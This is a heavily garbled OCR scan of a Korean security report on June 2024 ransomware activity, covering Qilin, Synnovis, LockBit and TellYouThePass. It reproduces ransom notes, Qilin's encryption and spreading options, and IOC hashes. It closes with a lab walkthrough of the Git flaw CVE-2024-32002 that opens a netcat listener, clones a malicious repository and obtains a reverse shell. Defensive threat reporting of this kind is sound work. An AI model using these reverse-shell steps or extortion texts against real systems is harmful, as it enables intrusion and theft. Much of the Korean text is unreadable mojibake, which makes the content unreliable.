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Keep up with Ransomware
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e B 2 A(IntelBroker) 7} w=¢] WA 719) AMD ¢ AAAE AFAF Apple 5 o2 7
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G2 2 v ARRe §37] dold, v 32d FE4 19 CBRE o AWSY Hme}
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Aot oA MA=A ke HA FFHdE o8 WA vA] FE3] IS 9lof

o)
I
>
N

= 19 Synnovis 7} 2= (Qilin) Aol 159
o= Qo dH HArep Z2 A AH| Aok 2pHo] A
ol AZ|EAY FHaglow, FA ERAE ZFo] BA
2 A Qilin2 69 19 Y 3 §F Ao Eo]| HlolE]
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ol
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10 AWS: ofufEoA AlFots FE9E ARE AHA

AR o] Hord: 2|7} obF] o] g2 FHokH

12 CVE-2024-26169: Windows @7 HI AulsoA TAshe At A5 Fokd

13 CVE-2024-4577: Windows &74o14 PHP 7} CGIRER F4& o Wysi= 44 3= A3 Fopd

1 F41(Web Shel): 9 oIzl she U AWlol tharet WYL AT 5 Gl 23YE w
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} -> Qilin, Synnovis SA2E = U7 FA 2|& AH|A OtH|

() 6% 3, a2 HuA 02

B4 Synnovis7h HEHO| SHE S F2ls M|~ XS0l 0f2E
HHRFRIL B7tss BRo ¥R UMM TR o &
AHelEo| €20 =2 S3A 400GB 37|2| o= H|O|Ef
(] Qiin2 B30 £3 B SX 27| W20l 3ANUCHD 57

} -> LockBit 1 & O|= HUIFH|NE Z3H FZ+

() 62 24% 0|2 ALF|X| =0| GJO|Ef 33TBE B3| YTt DLS* 0 HlA|
() 2=o ¥E Ho|EjE£ gioo), -

(1 6% 262 37}
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=210

X
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3 -> AMDZ2} Apple S 02 F8 7| G|OIE 3iZ ZZ0f| AAIT IntelBroker
(Q Aole 2| 218 CyberNiggersOf A EE S9! IntelBrokeri= 312 2 BreachForumsof B2 COIE] Al
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() 2 2 T-Mobile, 0] 82 3 9 O|AY AIZIS, CBRE & Ofal 7|21o| HO|El2t 241 H|o Toj 2& of2) Xj2i A
] - ol 2 =% BreachForums &

() X 58 P 3 DOYof oisf @42+ 51 27 210] %PHNIR, 68 100 ChA| T8 B4 B71 iy W
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Q 62 13¢, BF= 57 £l 2 St "ShinyHunters"= 2 A%t "Anastasia’2Hs AHSAO|7| €7|1 2|

* DOJ(Department of Justice): 0= Gl HEo| B #Y 7|3 Z, 0| €L
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| 3o &
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>
op

DDQ\/
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=
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infosec

3 -> PHP %[ 41 #| O} (CVE-2024-26169) S 28 TellYouThePass ¢ f

() Windows 0| PHPE CGI* RE2 M3l 24P S5 QLAC 2XHE 0|83 {Z AC UHO| JHssh #{U4H
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(2 7129 A83HE Windows, Linux M Go 2101 7I%O2 BHEOIT! Stel, ESXi ¥BS C+v 7|ut2.2 AIZY

() 7t &1 T8, 7h 312 Azg), T MHl2 B8, AL AR 7|5 28

) | -> SIE|H|AE Azzasec, MM¢0f B3I

(Q AmAAEtel Syo| WEMAS D802 B3 2ojo] (3t AlOjY BAE T2 4y

() 6% 242, RHUS0| LI K28 S BAYO] Mb|2 37
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n||o
>
s
_9_}
1 d|
x
o
[>
j
o
oo
.
i
$
B
[>
&)
In
o
-
8
_9_}
rir
0%
=
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Q Endgame %7 _ _
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infosec
a New ransomware variant
Play 36
Stop : .waga
Xorist: : .qwertzuioplkjhgfyxcvbnmD
o RansomHub 25 Makop : .DORRA
MedusaLocker : .run10
Chaos : L3mon, .cebrc, .geometrical
e Akira 20 Jjinwooksjinwooks, .COBRA, .encrypt
Dharma : .dkq
New ransomware & group

em A BrainCipher, Cicada3301, SenSayQ, ElDorado, Trinity, Fog, Orbit
Rapax
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AMzE 19
6 doll= At WA 2FS0] o S8 ol A5 HRE2 #E ARIES HolHE

El
AAGH o]% @Fuhe o]-—— ooy, gad §E AlE glol A" Holxwt EAsE
OJEE e ASR ZAfgd o9k o3 oad xyolut A4S dHIRE FS
Aol AMuaE drfetAY Ayt HEUS Hchks 5 o Wdlel gl AEHoR
dAgstal ol

E(Fog) Tm2 WA 54 ol A mojx] Faek 2%l dast ID S @7 A5,
maz7E A wolzle] FoRl ID 2 2a<Ish fde AYste ¥ ARSshal Stk 21
159 frE ARIEE EIEA] AR AHREC] Fa HolHE HIAUGE AR wzel
AAE olF Ff A= AL $& 9lo] o7 Hasitt Fog BAols 5 Lot vj=o] w&
woF 4 33t H Aol ZoF 1 s TAYH, &44F VPNP A4 S5 ol&dl YEYI]
HEet 7 A .

15 VPN(Virtual Private Network): STE[Hl AolA] 7191 ARE Roola Ao Age $lalr] §Io) ALgat 744e] et YEga
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Overview
Functions 92 6% Similarity 0.99
>
2 300
S
b —. 2
i lsow 5 2m
323 | Nl B
s26% | b 210
B
=
a s - e e = - 4 e — e
v ] ] w ) @ A o o o
o o @ o o o o ) ~
Diff Infa
Diff Path C\Users\k1230\BinDiff Workspace\braincipher vs lockbit3\braincipher_vs_lockbit3 BinDiff
File Date 2024 Jun 26 02:32:45
Primary Image Secondary Image
IDB Name braincipher IDB Name lockbit3
Image Name eb82946falde261e92f8f60aa878c9fef9ebb34fdabab: b110118b12 Image Name dumpz2.bak
Hash eb82946fa0de261092f8f60aa878c9fef9ebb34fdababa66995403b110118b12 Hash dd 'daef2f083: 24706c031 11107517ef950
Architecture %86-32 Architecture x86-32
Functions [a23 (s58%) 337 (42%) 14]| |Functions [a23(96.4%) 335 (3.6%) 12]

1% 3. BrainCipher ¥ LockBit 3.0 #d o] FAI:

5748t BrainCipher fid 9ol 152 &% LockBit 3.0 2 Azte Aol E ALgot=
Aoz SRIFh ol52 QIEUAore] dAl =7t HolHAIE(PDNS)E F4AsH °F 200 7H«] g5
5 AEIAE FHAIZIAL, 3] oYl AEE nHA = F
Fro = 800 ¥ gei(¢f 110 o )& 8+ Aoz IRt 7|Eod=
£ YdEoliof H&o] 7Hee oA Ho| x|tk SIFIANE 6 E 26 dolle EEo

ID 942 glol= Aol 7M5d Y §F AlESL F712 AR,

rr

73] README ¢t - Windows T2
TR EBETE MY0) 2w ESEMH)
We downloaded to our servers and encrypted all your databases and personal information!

| README txt - Windows BE3
oUE EHEO HAOQ 200 S2H
We downloaded to our servers and encrypted all your databases and personal information!

to contact us to contact us install tor browser

download TOR https://www.torproject.org/download/
https://www.torproject.org/download/ go to the page
follow this link] http://oxiggyng s [e—_— ik . o http://txtggync &

follow the instructions on the website follow the instructions on the website

if you're having trouble with TOR to start chatting with us write "hello”

e-mail wehaveyourdata@onionmail.org
IMPORTANT INFORMATION!

IMPORTANT INFORMATION! If you do not write to us within 24 hours, we will start publishing and selling your data on the darknet

If you do not write to us within 24 hours, we will start publishing and selling your data on the darknet

a8 4. AHLE H 2 (F: Trinity, $: 2023Lock)

ojelok 4 Zjo] Alqt IEo] AR 55|, tAY & ACIEC 3 o HSiRE Al
E U E(Trinity) #AAY01E 24 W 2 Yol HAH 2023Lock WA Yol e E Ul-go] A5
22 A7 ¥ 53t HYA(Venus) HAHlo1e A7 SR AER] A ot REl AT gho] dXst= &
o] dZddol It Fridez  dAretk(ElDorado) I1F2 15 A9 w2 msiaE
AXNRA ™, Cicada 3301 157 SenSayQ &2 ZHZt 4 A3t 2 A9l ma=x+E AIA At

1 W] (Builder): 7 A7%& Sol Hole 7I5oR o]Fo WHANE TE 4 Y Bl A% &

Y REAMutex): BEIAUSAA Shkel A o] AdEA FAG st A4S YA A A
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Killsec

RaaS Release

Mew Kill

Greetings dear AzzaSec Community, Researchers are gay ;)

The development of the Azz Ransomware has officially been Killsec Raas
completed, and our ransomware is now ready.

» Advanced locker written in C+.
The ransomware has been developed with a completely unique » Us ndly panel accessible via Tor, including stats, chat, and
algorithm, and the code belongs to the AzzaSec team. builder.

» Upcoming panel features: stresser, phone call, advanced stealer
You can view the detailed appearance and working principle of the and more.
ransomware in the video.

$pricing & Fees
Features:

individuals only).

+ Developed with VB .NET, e only % of the ransom amount.
+Hasad
+Uses SHA

a5 99 a9 Qd o Y] B (3} Azzasec, $: KillSec)

geadolt S AR Bh9ole] el A&Hom shelEm gtk 2024 | 2 LR
5ot7] AIFRE HEHIAE Azzasec < °
;}_]gl-aﬂiﬂ-?_ S o) %—OID}. ol&2 T A
AH] =

o 25 AR

2023 ¥ 10 ¥E2E 2E57] AZe KillSee Al 15 2024 W 3 YREE Ay §3
Arole] WAl WA AN ol 5L 7% WH] Hulze] PulolE HAL Killsec 2.0
RaaS™® Wof 22 @713 Adel] AR o4 AeAE IFE0l FAH Ex A9
1% BABE o WHelelE AR TASAG Bk 5 AHdel BEol FES
AR ek,

O

18 RaaS(Ransomware—as—a—Service): #42 ti7t2 fdgo] ZEy 2o At T35 AlLsHe v 2ys 1y

EQST insight | 17



Top5 A

infosec
15%

12% 8% 10%

| | 9 =]

g T = E

Ciedusa |

E}2 37}
85% 68%

N -
L | o
KN -

9%

N -
EN -

5%

N -
KN -

5%

N
N -

11%

| Akira_]
51%
11%

£ ysolz T AROEZUEL @ BRoEata

) casiict () oIl @ AueAEszAz|of
® ey @ PTEESZ

& ukE=z () PEOR

N
4%

J96. AY/APE Fa DA 34 8%

Zeflo|(Play) WHMe] 1FS TFAY 52 AlolE] WslAE YBHOoR AN
ot 6 Yol 247k 26 7, 10 AL 5 Aol 24 AN A we BE Bk Ho
ESXi $0IH BE VMU FRAZD 458 F At AAse 15

U, 2R o g doolq $EHd B4 Holn ek

2024 & 2 9RE 252 AFeE A5 E(RansomHub) 152 5% olF wE AZAAE HolH
oA E5otal St} olE2 ABAE HA #9242 the €7 #54&E RansomHub o7
AEste s ot WAS ARES e SHEWE YT 11 Ay} o E2iZH(BlackCat/Alphv) 9]
AGAtz 55 WAl (notchy)? ¢F A7HE|EAnto]r (Scattered Spider)?'7F RansomHub -5

il

' VM(Virtual Machine): £2]4 AfFE &4& 2ZEJolg Fdste] TR Iol} 2YAANE AP 4 &= HFE i
?* Notchy: BlackCat(Alphv) 2% 8 $425 T2 R A7] P2+ F4sh= 22 @Alot 7] Zd RAMP ol AN AIDA

2 Scattered Spider: 2023 9 ¥ w29 tig YZE W %HF 15 MGM & 345ty 48 1F
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ZolstAA w27 AR Aoz Holth 6 -QJOﬂ% A 4 o o= s EAIA} Frontier
Communications & FA3 &gt oF 200 9t He] 14 AHE FIuch

Tot RansomHub I5L Go o] 7j¥tez AZ=E Windows % Linux HA 2o, C++

7Igte g A#E ESXi? WHEE ARESH7] AZHgth RansomHub ©] ESXi ¥1E2 7V &4
Z2A7)1 g53lets 715S AZst, UNIX 849 271 B4 e T syslog 9F 22 Fa
q

Aelag wggslel 27¢ Pelstn @a U BAS slmsy] 98] otdZES AHEoR
1% [e)

7l 2edshal ot Aol IFS2 o WO $4L0r o TME AME AAAZ

2023 @ 4 o FHT o7l (Akira) 1F ol Az ZoFs HAFHer FAFC o5
6 Dol Bt FAHO] °F 40% ol/Fo] Ax HOFE glg. 59 7hEty 2% AHE Az %

HoiSh= Panasonic Australia & S48 Z=HE g, 7|¥ A £49 £2 T HolHE

gHAeH, vl 47 8 7k MElA 9ARel TETRA & 48] oF 4 7

718 AKA, 71EFA dobA 5 4F Ud AEE 2= Ak

(e}
D)
o8]

¢
=
rO

NamE A T AR delAE ANE, o1F ol T A 9l o

g a7 Zom SHT EF AW 5 Yok Aze oad §F AoEE ws

olgon, el sz Eel Xss o WMo 22FES Wujsts 2= AAHTE AHY]

g0l AATES st ol TS, FR 15 B e fudd sAY o
1

L
Fol AT AAACIES ST WHE A§e) SAb] EAS F7] g AYom 2 4

ek,

uﬂ%AHMedusa) @Al 1EL VT U WslE FHMom A o 1ETE Aold
g Bt 6 Yol w2 Aejmote] AQE eyt AFo] thd WA BAL Aae

mu A A2~dT Y EATE ohAZeH, 120GB o HolEE gHste] 20 W P9

BAE AP0 BY ozt 3] WG AU ofy 22 Pale BE vIFel Y Fa

2 3158wl Tri-City College Prep & 545t H4t2 8517 % JiT.

? Go ol Google o4 B1Hde &ol7] Sl N eZ42 Zaidy <o

» ESXi: VMware o4 7Hdet & FEOA o] IAAE Al AFAZ £ A= UNIX 7|9He] =7

2
i

g

o
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m 9ol TS ErA

Qilin Mol e

&%’)ﬂm

SORTING CREATED AT {4 NAME

YKS kendi aginin gtivenligini dnemsemiyor. iceri girdik ve her seyi kilitledik. Gelin bizimle schbette
konusun, aksi takdirde tekrar tekrar kilitlenme riskiyle karsi kargiya kalirsiniz. YKS doesn't care about

the security o ...

k”‘ise WISE CONSTRUCTION
| JUN

For nearly three decades, Wise Construction has distinguished itself through exceptional service to
clients in the healthcare, education, biotechno logy and corporate sectors throughout the Greater
Boston area. Leading names in each of these ...

Z4: Qilin FHAA 5 dlole FE ACIE / a2

2022 @ 7 dofl 54 Qilin Aol 152 A7 128 9] meiatE v Ay Hlole #F
Aol Eof AXFE E3] 2023 W 11 dole =W §t=A BE Ax 719e AXSHIE
HTol= AAA 7|2 Ao F=] HHs Au[A Al AA|Q] Synnovis

T % o
A G A A Fh Aulach vhulsEe] 4% AR HUA R fgo] HaHE
_]

Groups trend

2022 Oct. 2023 Feb. 2023 Mar. 2023 Apr. 2023 May 2023 June 2023 July 2023 Aug. 2023 Sep. 2023 Oct. 2023 Nov. 2023 Dec. 2024 Jan. 2024 Feb. 2024 Mar. 2024 Apr. 2024 May 2024 June

1% 7. Qilin MYl 18 T2 B4

Qilin #HYo IFL2 “Agenda’ste olFez To& AHICH, FF z7|de orzz7iel
ofAlote] oz I E% 78S B & 3AS AEFCh oF 2022 d 10 doll= A §F
AlES ST 6 Ao HAE AAFoY, 2023 W 1 7HAE F7HEQ Fo] SelH A
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okoket. o]F 2023 W 2 4, MY =
o8] §-& Ato|Eo] maiztE A5}

o RaaS TR AASH 85 A dga, gag
BARos BE9 AZg

e
™

iin)

@A Qilin 9] AY FF AolEo)E WikileaksV2 & QZA=E 239} QR &7t EARHL
WikiLeaksV2 = Alupe] Fujj, oule] E8 34, HItE 35 G40 22 718 24 4
1\'4012 Xﬂ*c} b 263 o]go] Q= H|Yge] %7 WikiLeaks ¢ 1 ¥ =

& 1 2024 A 2 dofl = AH I A]ER. o] HAl= Wikileaks ¢F FL5H]
‘?:EEE 7]#—2— Stal glow, ARARREH HHE FfF ol Astal ot =4
A, =7} %741, AR, A 2 o, 9=, g3 T ot stEIEE Hiotn o,
obAZMAE AR, A W 2d, o=, dI dolEy AAE A o] Zhed AFE HolHE

]

=

2t Julian Assange

=3
—

(<]

Aefstas 25 Qilin o] &9 ool 3= HolHSolH, 2 T4 Synnovis HOlH UdFE
A AA = A= e

Jun-19-2024 20:17

Qilin. Who are they? READ_

Interview. Who are they? Why are they doing all this? Money? Popularity? Revenge?

Last update Jun-19-2024 20:32

Z4: WikiLeaksV2

19 8. WikiLeaksV2 o] AIAE Qilin QIEH

3t WikiLeaksV2 o= 541 AXE Qilin IFTe] JIHFE =IT 4 Utk AEHF Wl
M2 o]l X0 AFE et FHE Boy] fd EEota o, AA| AAES] FAE0]
AelA FoeH A T?_] =710l 22d 29y FAH FRo] e HHET EHAlo=
FAsHY oty FASITE Qilin 159 5 A1719F WikilLeaksV2 1EF W& W XL Synnovis
TAT T G FF FEA BBC oF 3t JIEF W8 52 2o o, ol&2 =Aok-
SIfolvt AR e PEo] Sl AoR ASHT)
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Qilin & && x7]° Go o] 7[§teg whEoxl Agenda sHAHMIE ARSI o™, oz &
HEZ3HE A olE AREShE Adehe Hith Go o] 7|¥b Agenda #Ad{llol= ofAlobet
ofmzjztol ol Y W& 7|Hz difeE HiEF oW, Windows AIAES HHAZIE AR
gt g BHddols Ad oA AR HUHSE Mool Y or FASh, ¥l
HARE AMAleE msizte] Windows A HIYRS o] ¥, ¢k Rt FEEy g2 75 Ejt
stolsict, o goste] A tazm EtolHEmt ofyzt YEYD FH EHE go=

oHe Yste], AES-256 ¥igor mde dEoltt § dEsto] A8 715 RSA-2048

=
=
nelEoR REsHs WAL Ag

fol

e o2

i)

= AARER] 2704do] Ad 2022 9Yofl= Rust 7[HFe2 gHEo1% Qilin ¥Eo] Hasiom
ZE7H]E Rust HES AHE o< oY
ChaCha20 =& AES &18&8 AMESHH, VMWare vCenter# @} ESXi 9 Z-& 7HAt
Autsh= 7153 PsExec®E FollA A" SAENA A3 Anste 750l F7HH. Windows
Wi Mok ofyzt ESXi 714 kdl= 5 9o vt AR 7] wiwell o T o= Rust
715ke] Qilin HAHYAE AAls] AmET Qilin T1FS] Aee] dinlgt g Wete AAlskaLA}
ettt

2 VMWiare vCenter: TF=2] ESXi 9 7} A2®S $oF HF

i

elst

a
it
i)
o
ot
)
>
30
rr
iy
e
o

» PsExec: THE AlAdlo] Bo] AnEQolE HAjela] g1 ZRAAE AR APF £ A fFe PHE =7
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Qilin Ransomware

infosec

253l 7/

gz gy

C)—O{

dm
Y

HYLE

~

#Z G

Lk
3 ofof

o222 g

AES-256(CTR) 22 ChaCha20 &

% AES / ChaCha20

N2 F22 DY YSeHE 5t SiY 7| RSA-40962 HS
A

—

Encrypted

I File
Support AES-NI

Not support
AES-NI

File

AES-256

1
m—)m
e ——

fast [E8 ] : TYQ| X SFE 8 5 * 32 MB UF &3}
skip-step [¥Z=3} 37|] [2HH] : 7t (Bytes) OICH Y S8t 37| (Bytes) US H=3}
percent [E§ ] [H| 2] : Tt TH|Q| H|Z (%) OICt E5 4 * 32 MB UF ¥=3}

S NES- T 37 204 vCenter &
FEUSH || Touam || oewm ez || HAA
AES/ChaCha20 & Otd B E OHIE 271 Anti-VM &
RSA %3} Hegl ARH| Anti-Sandbox

== Qilin

Your network/system was encrypted.

Encrypted files have new extension.

-~ Compromising and sensitive data

¥e have downloaded compromising and sensitive data from you system/network

If you refuse to communicate with us and we do not come to an agreement, your data will be published.
Data includes:

- Employees personal data, C¥s, DL , SSN.

- Complete network map including credentials for local and remote services.

- Financial information including clients data, bills, budgets, annual reports, bank statements.

- Complete datagrams/schemas/drawings for manufacturing in solidworks format

- And more...

-- Warning

README-RECOVER-[a-zA-Z0-9_-]{10}.txt

.[a-zA-Z0-9_-]{10}

Rust

a8 9. Qilin WAL Ma
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Qilin W4 A=

infosec

Initial Access

Discovery b B ool HE atlo|Lt FIE 0|8 HiE
= S Fofgt HH Mul2ag S HT
AW AT B 2 &= N ——
= R ol —
HRGS 35 Rl S £l- Defense Evasion
N 4
Lateral Movement % § E?} :i;ﬁEgBVOVD ASkRE
Bl o= =3 3 NS0 A A
SSHE E8% vCenter U ESXi Mo} gls N 4
PsExecl 83t LIF Y ESI Mt = . .
Exfiltration
_/
Impact C2 MHE 88 R
dols 253« EHH N\ ——
WOl FAHE AH| S IS
N 4
1% 10. Qilin 2

Qilin HLNe] I52 A A

apdolup MEO| therE YIS I gol HeRE StEE fEohs A
ARSI, FoFR €4 HE SE lo|2=2 Hjzsls wAlS ARG
ot HFHor APEH= AL 4ok WO AYEE “-—password”
Aot 7 ddsfor Ao A

Qilin AHAelE HeP &R FAE Hsta wsfiate] Axd M-S Fsfstr] s ot
AeFg AMgsta Qo FAREANE Helt 40 AFHA e %97 Bot HAE 3ush]
Qe tHRER ARY o § dPst= 752 7HAL ok EF HHRER ohA] AERE Folle
A" Aol HgRieE oo #Ade AdAste 55 A SIH. HHRE #Y
Qo= BYOVD # 7|¥-& &8sto] tetolHe] HToR And-Virus ¢ EDR ¥ 3t -2 Heb

£2HZ FRATE 5E ZART

Aol A Al EEo) AAE A dEstd iR U EYF] HHE At 4 Qo WiF
HEZAA oS Autstr] fIsiA IR “——spread-vcenter’ 9t “~—spread”& A&t
Aol A3 Al “—-spread-vcenter’E Y=ot #MdAlo]l WAHE PowerShell AAHEE
g8l VMWare vCenter &2 ESXi o FAupE Alkgtty, ofgh o] 7|52 o|&siA HutE
AEsteld HEO] vCenter -2 ESXi ¥ejzte]l 24 Fwio] Fasity, 3AAF AAFHS
destd At TAEC] A4 S A HYHIZE Qilin HAHM] HEHLS} FAsHA

%6 BYOVD(Bring Your Own Vulnerable Driver): A|A8] @ghS AFS 4 QI FoFst Cajold] RES Edf ZZst: 94

*7 EDR (Endpoint Detection and Response): #HFEIF BHIY, AH 5 Td7]oA Sk ofd A9E AAICR AAjstal 4 9

hgstel el e v £2A
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27] AE 5o YH AHu o] YE A A= we] BEAES AHs] AR} oz Esh)
oA TE thE S dReRIth 453t gieles EdtelBe] AYHE fdE S 28 UEYA
T EUL 2Rt 24 gEstel] 4 BHelE StEfle]l HEE Ele] oY
AN2a"oA AMEE Y ks st duE|ES AT AES 45st 9 H5ste] e S fl
H#o] Askel AES-NI 7} A U=s st=golahd AES-CTR(256) &a]&e AMgatd, zYahA]
ot} ChaCha20 ¢12]ZS ARgsith otgslo)= mloluich @lidstg] AASH 7|2 o] &s)A
A5sE HePotd, dsste] AHEE 7le WAMoldl WAHE RSA-4096 FH7IE ol&sHA
H Rttt

oA 4%
fast [E5 =] teo| Mg8H [EF ] *32MB T 2%t
skip-step [= 3t 37|] [244] | [(2HA] OFCh (=3 37]] Bytes 2HE =3t
percent [E§ ] [H|E] oY Mol [H8]% OiCH [E2 4] *32 MB 212 ¢S3}
E1 ¢33}t REof w2 A9 Az

=

olglol= Mool BAE olF ] o7 AT F15E b EgEel ek AA AAF Tl
VM ot} Sandbox® 914 A2 AYEAN FAeHA RH=S SH= And-VM 2 Anti-
Sandbox £ Ag8) Aol WAL 47 RS FabA Gom, BE 45st PHo] By
F2 A7 A7t AAE APste] WMol AAE SRk R e 5w EAE TG

BE olE 212 AAS BA

ne

o 9
2 o
i) g%
2 g

of

.,

% SSH(Secure Shell): TF2 97 TAEC] H&slr] 9] AFREL Hol ZnES

# Sandbox: A|2®9] JAA, A2 =2 F 4R JFE FAY T2 ode A9d ¥4
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Qilin Aol of-3xeor

infosec

Initial Access

Anti-Virus& 283}0] o| 4 Az| 2 oty Az

Discovery
CDR 54 A3 S8 AYAE g

TR

e 7|8 BX| FF£M ALS S B3 opY W Ajgt
X Y AW 2 <
Defense Evasion

g x| 2EE| HP st Hao2 2o
B FIIH HAHE S8 AlAH HAY =

T1070

EEas U S MUl HAH
SAE Y3 g B B M

DLP #58M % EDR #2432 E3

HlojE| & x|
ASR 714 E43tE S8 o P9 A
HESI #a| W FE HA5E S B YK
cf|ofEf ¥

Qilin & W] Frulol} 28 Soj4 AHE AnslALt Fokd 94 A4 ma IR
olgste] AEF F A% WjEsls WAL AL metd oide wdolt GIEA R
MAZERE e ud 2@ gEmele dustd gEs Fojsop s, WEol MY w8l

F71Heg sk FO HeP A Aarp Hasith Ho ASAHom dlgshr] oA
Sandbox $HFAA wld o] A APH "©XA|stLL _]-9_"5 + £F4<] Email Thread Response &
1

IS
Detection 5 A48 4 9tk E¥ 94 9% TIPS A4S 49, dde] Bad A4
F9e ohashl Rty A% YulolES Fo Adehd e MEe 9AT Bast ek
E, 97 g% 15 Ao 32 49 uEgs vt g At
Qilin WUl Bt £FHS SFsly] 98] FUBER RYSE PAS AL of

2

ot

o
K-
2
R[]

WISk S1sHA OJXJ =e %9 43% A4
BEAAE g Hsd He
st

SHet A4 SRS olgs] R UEQSR HoE Amsh] weel A4 SEe oA
Hypsop sfH, 71 dFe AHE Bart o EE Hubele SSH £ 28cte Ak
EAER ARSHA o= A% SSH & HIE4s o= AAA AR Jhedith. ]9
PsExec oF 2 E45 F¢ s Atsy] fAsiA SAE wWeiEls Abgshe Ak shuel

FHoltt.

shAeto e, Qilin WEHlE VEYDL B4 HAL FEsAAY] W] YEAD T AU
AT AR HaselAL wEASs] R Hasd: Fog
AR golz Bske AL WA AN Wl EARS Ashe Yol £tz

Hro] YEgat Aga doles v welso} gt
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rL—" Indicator Of Compromise }—rL

&

Qilin : SHA256

6316417fcd979c39a4da672ba3521f62081ff4dfebb868ef65a1f2dff9a738ea
27f7a332ba10bae9dbc527ea25c787cb1850f0b34295cd49118f040f08f4fe56
27a91c2e53e9e7bd6alcch8b0bed1f954f3011973248e710598a5e7d6c6ed668
55e070a86b3ef2488d0e58f945f432aca494bfe65c9c4363d739649225efbbd 1

File Name

STL.exe
forigpatch.exe

file.exe
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A Z 5 o]A] (https://www.imperva.com/blog/update—cve—2024-4577-quickly—weaponized—

2k A
+ Imperva
to—distribute—tellyouthepass—ransomware/)

m 3 AOIE
&
+ SC Media 54 &5 °]A] (https://www.scmagazine.com/brief/vmware—esxi—subjected—to—attacks—with—
Z o)A (https://www.synnovis.co.uk/news—and—-press/cyberattack—update—24-june-

ransomhub—for—linux)
Al
2]

+ Synnovis &

2024)
¢ The Guardian (https://www.theguardian.com/society/article/2024/jun/21/uk—national-crime—agency—

russian—ransomware—hackers—qilin—nhs—patient—records)
A1 Zd|o]A] (https://www.bleepingcomputer.com/news/security/major—london—

o F= =9 BA A A(https://digital.nhs.uk/news/synnovis—cyber—incident)
+ BleepingComputer &
hospitals—disrupted—by-synnovis-ransomware—attack/)
+ BBC (https://www.bbc.com/news/articles/c2eeg9gygyno)

+ BBC (https://www.bbc.com/news/articles/ceddqglk7qgo)
« Agte] 7|4 B2 (https://symantec—enterprise—blogs.security.com/threat—intelligence/black—basta—

ransomware—zero—day)
+ Trend Micro 32 &H©|A] (https://www.trendmicro.com/en_us/research/24/c/agenda—ransomware—

propagates—to—vcenters—and—esxi-via—custom—pow.html)

EQST insight | 28




Research & Technique

Git Clone ¥43E AP FFH(CVE-2024-32002)

N

B FYH e
ZUGiDS HFE T HAARNS FHoty AFEAE 7He] ot Y-S X&) 9% B4t
=]

B P AAFR0IT 2005 | s EEwAsl ks Ad AR 96 A4S wEd

Git & A AAHeR ol BEET Y LTEYoltt, Y22 Git BB 258 (GitHub) ]
24 AHgA 7k A 1 o9e Suebls s

ol Z3t WAH FHeFHQ CVE-2024-32002 += 2024 @ 5 ¥ 14 Lo F7/hsi} o] HFHS
yaizt7t 94 YA EZ N E MERET clone She Avtezn A7 Wy Aol Jpssitie
542 Adt Git o AERE 7], Windows &t MacOS oA AR o] HAFAE F25H7] b=
54, A=9 932 752 ol&dl Git AYd T AArHe HIEHS] git HHEZS] oA
~AYES 2EE GEY 5

0 Batk v g AlA" (Distributed Version Control Systems): AZEQo] v fe]g 919t AARL 2 AL S Ad]

i)
1P
o]l

i

sH2] ko Aol A= FE ZgJo] rHssltt

3 gl 22 E ] (Repository): Git oA ZRAES] F= HHE (A= 7} A4
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2A ALt

CVE-2024-32002 ¢ 27 Auta] o= oo} 2},

infosec

L) D
@ %M ASYEI} Exfist=
4 2|ZEX|E2| clone
>

O Stelxjel 817 2|Ex|ge| Y2E

@ otd ATE XI5 MY

.Q
3A%t % 1|8} K}

® Ishxt F8 Y &

13 1. CVE-2024-32002 &34 Autale

@ 34X=s 2o|XQl A 2|EXEZE 7

@ iRt &4 AJZET EXfst= YA 2|ZX|E2|E clone

® CVE-2024-320022 OQlaf 2td A3EE Xts AH

@ 34Xs 944 A3ZE 43 = HESIO mgixte] F2 HE EF
— [ o

B Sl= AmEQI0 HA

S/W T£ # ok B
2451, 2441, 2434, 2422, 2414, 2402, 2.39.4
Git
O|F H7H

B EAE 3174 1M Y

HAE $HS TES CVE-2024-32002 0] 54 35S Amiet,

o|& He
Microsoft Windows 10 version 22H2
| s X} Git 2.45.0.windows.1

(192.168.216.130)

Kali Linux
(192.168.216.129)
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& Welols B AAT Git MAL AT 4 ek

Aokt vE9 Git & A3 Windows 10 PC(192.168.216.130)] Eu|dojA £ AHAWMcEES

1, windows .

a9 2. HoF Git AR gl

Step 2. ;A HAE
A, 342= CVE-2024-32002 & ol8ste] #HA A o4 7AWc=rp A3PEe Gie 94
HEAEL (p.15 FX)E THIR 4= ofe] AWE=R ZES F11 tf7]etch

$ nc-lvp {ZE H3)

/home/kali
—lyp: 7777

listening on [any] 7777 ...

a9 3. 2Ha 4 42 g7

ol% WAt ool AMER FAR otelzel PrAENE BA (clono)Fet.

$ git clone --recursive {SAXt Z|EX|EE| Fi)
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Bl Administrater: Command Prompt - git clone --recursive https://github.com/EQSTSeminar/git_rce.git

-reused @

CVE-2024-32002 #°FHd& ol&df 2HL de A2t ol%
C:WWindowsWSystem32WdriversWetcWhosts I}

/home/kali
-Llvp 7777
listening on [any] 7777
192.168.216.1 inverse host lookup failed: Unknown host
connect to [192.168.216.129] from (UNKNOWN) [192.168.216.130] 52964

P5 Cihgit_rceh.git\moduleshx> cat C:\Windows'5System32\drivershetchhosts
Copyright (c) 1993-2009 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addre host names. Each
entry should be kept on an individual line. address should
be placed in the first column followed by the

The IP address and the

Additionally, comments (such as these) may be inserted on individual
lines or following the machine name denoted by a '#' symbol.

rhino.acme.com # source
.Ccom # x client host

i
it
it
it
it
it
it
it
# space.
#
#
#
#
#
#
#
#

localhost name resolution is handled within DNS itself.
127.8.0.1 localhost

9 5. A A AF olF hosts Y 23]
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Step 1. checkout ¥} hook
CVE-2024-32002 FeFde] <o B A¥ HHE olalistr] fIsiA Git 9 checkout I} hook
715l izt olsizt Zastek

1) checkout

Git & Tree 7HA?0] wd o] 55 A stal Tt 29 F<¢ Tree ©f o
At s JulolEE w] AREE= Aol checkout 7]% 4]
437t Qe ol Pok= & 2L AFHES commit o2t ARt &Y F Tree & TE H
Tree &} A2 AYolE & W, commit ¥ commit AFe]E o5 TarF A7t o)W, commit

AtolE 7HEA ol5E 4 U+ ERQJIEH Z2 branch & A8t

infosec

Working Staging .git directory
Directory Area (Repository)

Checkout the project

Stage Fixes

a9 1. Git o] 7]12Fe Fx

* Git EZ] A Git JEZAE0] o Fhofl AF Fx
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2) hook

o2 v e AlAH”HT FdolA GitolME B oHIE AFor EY AIYHES Aot
gt 4= = hook 7]so] &SIy, 7[EAH OS2 git/hooks AR AHASHH, hook 7|59 d=Z&=
commit WAH*E AAst7] Aol APE|= pre-commit, commit, ]ttt AYPE|= post—commit,
git checkout =27} AgH o= 4 wuity &5+ post—checkout 5©°] ST

infosec

